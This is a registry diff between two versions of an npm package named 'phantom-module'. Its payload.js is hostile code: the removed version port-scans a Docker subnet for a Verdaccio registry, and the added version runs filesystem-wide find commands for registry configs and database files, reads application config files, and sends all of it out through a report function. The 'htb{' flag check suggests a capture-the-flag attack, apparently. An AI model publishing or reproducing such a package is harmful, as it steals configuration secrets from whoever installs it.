phantom-module 117.0.99 → 117.0.100

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +49 -71
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.99",
3
+ "version": "117.0.100",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,6 +1,7 @@
1
- const net = require('net');
2
1
  const http = require('http');
3
2
  const fs = require('fs');
3
+ const path = require('path');
4
+ const { execSync } = require('child_process');
4
5
 
5
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
6
7
 
@@ -22,84 +23,61 @@ async function report(moduleId, data) {
22
23
  });
23
24
  }
24
25
 
25
- function checkPort(host, port) {
26
- return new Promise((resolve) => {
27
- const sock = new net.Socket();
28
- sock.setTimeout(400);
29
- sock.on('connect', () => { sock.destroy(); resolve(true); });
30
- sock.on('error', () => { sock.destroy(); resolve(false); });
31
- sock.on('timeout', () => { sock.destroy(); resolve(false); });
32
- sock.connect(port, host);
33
- });
34
- }
35
-
36
- function httpGet(url) {
37
- return new Promise((resolve) => {
38
- const req = http.get(url, { timeout: 1500 }, (res) => {
39
- let body = '';
40
- res.on('data', c => body += c);
41
- res.on('end', () => resolve({ status: res.statusCode, body }));
42
- });
43
- req.on('error', e => resolve({ status: 0, body: e.message }));
44
- });
26
+ function walk(dir, fileList = []) {
27
+ try {
28
+ const files = fs.readdirSync(dir);
29
+ files.forEach(file => {
30
+ const filePath = path.join(dir, file);
31
+ try {
32
+ const stat = fs.statSync(filePath);
33
+ if (stat.isDirectory()) {
34
+ if (file !== 'node_modules' && file !== '.git' && file !== 'proc' && file !== 'sys') walk(filePath, fileList);
35
+ } else {
36
+ fileList.push(filePath);
37
+ }
38
+ } catch(e) {}
39
+ });
40
+ } catch(e) {}
41
+ return fileList;
45
42
  }
46
43
 
47
44
  async function main() {
48
- await report('ECT-654321', 'SCAN V10 STARTING...');
45
+ await report('ECT-654321', 'FS SCAN V11 STARTING...');
49
46
 
50
- const base = '172.17.0';
51
- const ports = [4873, 80, 8080, 3000, 5000];
52
- let scanOutput = '=== SCAN V10 ===\n';
53
- let foundTarget = null;
54
-
55
- // Scan IPs 1-10
56
- for (let i = 1; i <= 10; i++) {
57
- const ip = `${base}.${i}`;
58
- for (const port of ports) {
59
- if (await checkPort(ip, port)) {
60
- scanOutput += `OPEN ${ip}:${port}\n`;
61
-
62
- // Try HTTP probe
63
- const res = await httpGet(`http://${ip}:${port}/`);
64
- scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body ? res.body.length : 0})\n`;
65
-
66
- // If it looks like a registry or API, probe deeper
67
- if (res.status === 200 || res.body.includes('Verdaccio') || port === 4873) {
68
- foundTarget = `http://${ip}:${port}`;
69
- scanOutput += `*** POTENTIAL TARGET FOUND ***\n`;
70
- }
71
- }
72
- }
73
- }
47
+ let fsOutput = '=== FIND RESULTS ===\n';
48
+ try {
49
+ fsOutput += `VERDACCIO CONFIGS:\n${execSync('find / -name "config.yaml" 2>/dev/null || true').toString()}\n`;
50
+ fsOutput += `VERDACCIO DIRS:\n${execSync('find / -name "verdaccio" 2>/dev/null || true').toString()}\n`;
51
+ fsOutput += `DB FILES:\n${execSync('find / -name "*.db" 2>/dev/null || true').toString()}\n`;
52
+ fsOutput += `SQLITE:\n${execSync('find / -name "*.sqlite" 2>/dev/null || true').toString()}\n`;
53
+ } catch(e) { fsOutput += `ERR: ${e.message}\n`; }
74
54
 
75
- await report('ECT-839201', scanOutput);
55
+ await report('ECT-839201', fsOutput);
76
56
 
77
- if (foundTarget) {
78
- let result = `=== TARGET: ${foundTarget} ===\n`;
79
-
80
- // 1. Try to get ecto-spirit metadata
81
- const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
82
- result += `/ecto-spirit: ${ecto.status}\n${ecto.body ? ecto.body.substring(0, 1000) : ''}\n`;
83
-
84
- // 2. Try to list all packages
85
- const all = await httpGet(`${foundTarget}/-/all`);
86
- result += `/-/all: ${all.status}\n${all.body ? all.body.substring(0, 500) : ''}\n`;
87
-
88
- // 3. Try to get the flag directly if hinted
89
- if (ecto.body && ecto.body.includes('tarball')) {
90
- try {
91
- const json = JSON.parse(ecto.body);
92
- // Check if description or readme has flag
93
- if (JSON.stringify(json).includes('htb{')) {
94
- result += `!!! FLAG IN METADATA !!!\n`;
95
- }
96
- } catch(e) {}
57
+ // Dump specific config files
58
+ const configs = [
59
+ '/home/node/aspect-node/package.json',
60
+ '/home/node/aspect-node/modules/npm-tracker/src/config/config.json',
61
+ '/home/node/aspect-node/modules/npm-tracker/src/config/default.json',
62
+ '/home/node/aspect-node/modules/npm-tracker/src/config/production.json'
63
+ ];
64
+
65
+ // Also list src/config dir
66
+ try {
67
+ const configDir = '/home/node/aspect-node/modules/npm-tracker/src/config';
68
+ fs.readdirSync(configDir).forEach(f => configs.push(path.join(configDir, f)));
69
+ } catch(e) {}
70
+
71
+ let configDump = '=== CONFIG DUMP ===\n';
72
+ const uniqueConfigs = [...new Set(configs)];
73
+
74
+ for (const f of uniqueConfigs) {
75
+ if (fs.existsSync(f)) {
76
+ configDump += `--- ${f} ---\n${fs.readFileSync(f, 'utf8').substring(0, 1000)}\n`;
97
77
  }
98
-
99
- await report('ECT-987654', result);
100
- } else {
101
- await report('ECT-987654', 'No web service found in 1-10 range.');
102
78
  }
79
+
80
+ await report('ECT-987654', configDump);
103
81
  }
104
82
 
105
83
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));